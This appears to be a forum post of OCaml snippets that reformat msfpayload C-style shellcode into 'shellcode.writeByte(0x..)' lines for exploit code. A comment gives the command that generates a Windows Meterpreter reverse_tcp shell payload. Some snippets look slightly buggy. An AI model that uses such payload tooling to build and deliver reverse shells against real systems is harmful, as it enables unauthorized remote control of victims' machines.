format_payload.ml

(*
 * msfpayload windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=6666 C \
 *      | ocaml format_payload.ml
 *)

let out ch_1 ch_2 = Printf.printf "shellcode.writeByte(0x%c%c);\n" ch_1 ch_2

let main () =
    let i = ref 0 in

    let rec loop () =
        let next = input_char stdin in

        if next == ';' then raise End_of_file;

        if next == '\\' then
        (
            let x = input_char stdin in

            if x == 'x' then
                incr i;
                let ch_1 = input_char stdin in
                let ch_2 = input_char stdin in
                out ch_1 ch_2
        );

        loop ()
    in

    try
        loop ()
    with
        End_of_file -> Printf.printf "[*] shellcode size: %i bytes\n" !i
    ;;

let _ = main ()

(* EOF *)

#load "str.cma"
List.iter (fun x -> Printf.printf "shellcode.writeByte(0x%s);\n" x) (split (regexp "\\\\
x") "\\x01\\x02\\x03\\x04")

(* or, if you really do need stdin *)
let out () = 
  Printf.printf "shellcode.writeByte(0x%c%c);\n" 
  (input_char stdin) (input_char stdin)

let rec loop i = function
   | '\\'  ->
      if input_char stdin == 'x' then 
      out(); loop (i+1) (input_char stdin)
   | _ -> i

Printf.printf "[*] shellcode size: %d bytes\n" (loop 0 (input_char stdin))

edit:fixed syntax highlighting